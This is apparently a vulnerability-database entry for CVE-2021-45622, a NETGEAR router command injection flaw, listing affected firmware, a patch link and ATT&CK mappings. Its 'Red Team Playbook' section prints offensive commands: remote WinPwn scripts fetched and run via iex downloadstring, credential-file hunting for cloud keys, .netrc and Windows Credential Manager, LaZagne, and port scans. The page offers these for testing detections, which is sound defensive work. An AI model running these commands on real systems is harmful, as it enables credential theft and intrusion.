CVE-2021-45622

CRITICAL Pub 26/12 Upd 04/08

Overview

This vulnerability is a command injection flaw rooted in improper input validation within the firmware of multiple NETGEAR devices. The affected components fail to sanitize user-supplied inputs before passing them to system-level command execution functions, allowing injection of arbitrary commands. The flaw specifically impacts the firmware's command processing routines across various router and extender models.

Vulnerability Description

Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects CBR40 before 2.5.0.24, CBR750 before 4.6.3.6, EAX20 before 1.0.0.58, EAX80 before 1.0.1.68, EX7500 before 1.0.0.74, LAX20 before 1.1.6.28, MK62 before 1.0.6.116, MR60 before 1.0.6.116, MS60 before 1.0.6.116, R6400 before 1.0.1.70, R6400v2 before 1.0.4.118, R6700v3 before 1.0.4.118, R6900P before 1.3.3.140, R7000 before 1.0.11.116, R7000P before 1.3.3.140, R7850 before 1.0.5.68, R7900 before 1.0.4.38, R7900P before 1.4.2.84, R7960P before 1.4.2.84, R8000 before 1.0.4.68, R8000P before 1.4.2.84, RAX15 before 1.0.3.96, RAX20 before 1.0.3.96, RAX200 before 1.0.4.120, RAX35v2 before 1.0.3.96, RAX40v2 before 1.0.3.96, RAX43 before 1.0.3.96, RAX45 before 1.0.3.96, RAX50 before 1.0.3.96, RAX75 before 1.0.4.120, RAX80 before 1.0.4.120, RBK752 before 3.2.17.12, RBK852 before 3.2.17.12, RBR750 before 3.2.17.12, RBR850 before 3.2.17.12, RBS750 before 3.2.17.12, RBS850 before 3.2.17.12, RS400 before 1.5.1.80, XR1000 before 1.0.0.58, and XR300 before 1.0.3.68.

Impact

An unauthenticated attacker with network access can execute arbitrary commands on affected devices, potentially gaining full control over the system. This enables unauthorized manipulation of device configurations, disruption of network services, or pivoting within the local network. The attack requires no user interaction and leverages low-complexity network requests, as indicated by CVSS metrics AV:A/AC:L/PR:N/UI:N, making exploitation feasible in real-world scenarios where devices are exposed to untrusted networks.

Solution

NETGEAR has released firmware updates addressing this command injection vulnerability for all affected models, including CBR40 firmware version 2.5.0.24 and later, R7000P version 1.3.3.140 and later, and RBK752 version 3.2.17.12 and later. Administrators should consult the official NETGEAR security advisory (https://kb.netgear.com/000064509) for detailed patch instructions and promptly apply the recommended firmware updates to mitigate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant vulnerability has been identified in various NETGEAR devices, characterized by command injection that can be exploited by unauthenticated attackers. This flaw arises from improper validation of user inputs, allowing an attacker to inject arbitrary commands into the system. The affected devices span a wide range of NETGEAR's product line, including routers and extenders, with specific firmware versions being particularly vulnerable. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to the confidentiality, integrity, and availability of the affected systems.

Attack vectors for this vulnerability are diverse and can be executed remotely, making it particularly alarming. An attacker could leverage this flaw by sending specially crafted requests to the vulnerable devices, thereby executing arbitrary commands on the underlying operating system. This could lead to unauthorized access to sensitive data, manipulation of device configurations, or even the establishment of persistent backdoors for further exploitation. Scenarios may include an attacker gaining control over the network traffic, redirecting users to malicious sites, or launching attacks against other devices on the same network, thereby amplifying the impact of the initial compromise.

The real-world implications of this vulnerability are substantial for both individual users and organizations. For home users, compromised devices can lead to privacy breaches, unauthorized surveillance, and loss of personal data. For businesses, the risks are even more pronounced; an attacker could exploit this vulnerability to infiltrate corporate networks, potentially leading to data breaches, financial losses, and reputational damage. Furthermore, the interconnected nature of modern devices means that a breach in one device can have cascading effects across an entire network, increasing the overall risk profile for organizations relying on these technologies.

To detect and mitigate this vulnerability, organizations and users should implement several strategies. Regularly updating firmware to the latest versions is crucial, as manufacturers typically release patches to address known vulnerabilities. Network monitoring tools can also be employed to detect unusual traffic patterns or unauthorized access attempts, which may indicate exploitation attempts. Additionally, employing network segmentation can limit the potential impact of a compromised device, isolating critical systems from less secure ones. Educating users about the importance of securing their devices and recognizing potential threats is also vital in reducing the risk associated with such vulnerabilities.

In conclusion, the command injection vulnerability affecting various NETGEAR devices represents a critical threat that can be exploited by attackers to gain unauthorized access and control over affected systems. The potential consequences of such exploitation are severe, impacting both individual users and organizations alike. By adopting proactive detection and mitigation strategies, stakeholders can significantly reduce their risk exposure and enhance their overall cybersecurity posture.

Affected Products (40)

Vendor Product Version CPE
netgear Netgear Cbr40 Firmware All cpe:2.3:o:netgear:cbr40_firmware:*:*:*:*:*:*:*:*
netgear Netgear Cbr750 Firmware All cpe:2.3:o:netgear:cbr750_firmware:*:*:*:*:*:*:*:*
netgear Netgear Eax20 Firmware All cpe:2.3:o:netgear:eax20_firmware:*:*:*:*:*:*:*:*
netgear Netgear Eax80 Firmware All cpe:2.3:o:netgear:eax80_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex7500 Firmware All cpe:2.3:o:netgear:ex7500_firmware:*:*:*:*:*:*:*:*
netgear Netgear Lax20 Firmware All cpe:2.3:o:netgear:lax20_firmware:*:*:*:*:*:*:*:*
netgear Netgear Mk62 Firmware All cpe:2.3:o:netgear:mk62_firmware:*:*:*:*:*:*:*:*
netgear Netgear Mr60 Firmware All cpe:2.3:o:netgear:mr60_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ms60 Firmware All cpe:2.3:o:netgear:ms60_firmware:*:*:*:*:*:*:*:*
netgear Netgear R6400v2 Firmware All cpe:2.3:o:netgear:r6400v2_firmware:*:*:*:*:*:*:*:*
netgear Netgear R6700v3 Firmware All cpe:2.3:o:netgear:r6700v3_firmware:*:*:*:*:*:*:*:*
netgear Netgear R6900p Firmware All cpe:2.3:o:netgear:r6900p_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7000 Firmware All cpe:2.3:o:netgear:r7000_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7000p Firmware All cpe:2.3:o:netgear:r7000p_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7850 Firmware All cpe:2.3:o:netgear:r7850_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7900 Firmware All cpe:2.3:o:netgear:r7900_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7900p Firmware All cpe:2.3:o:netgear:r7900p_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7960p Firmware All cpe:2.3:o:netgear:r7960p_firmware:*:*:*:*:*:*:*:*
netgear Netgear R8000 Firmware All cpe:2.3:o:netgear:r8000_firmware:*:*:*:*:*:*:*:*
netgear Netgear R8000p Firmware All cpe:2.3:o:netgear:r8000p_firmware:*:*:*:*:*:*:*:*
+20 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
65% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
47%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
34%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
30%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-45622
kb.netgear.com
GitHub CVE x_refsource_MISC
https://kb.netgear.com/000064509/Security-Advisory-for-Pre-Authentication-Command-Injection-on-Some-Routers-Extender-WiFi-Systems-PSV-2020-0506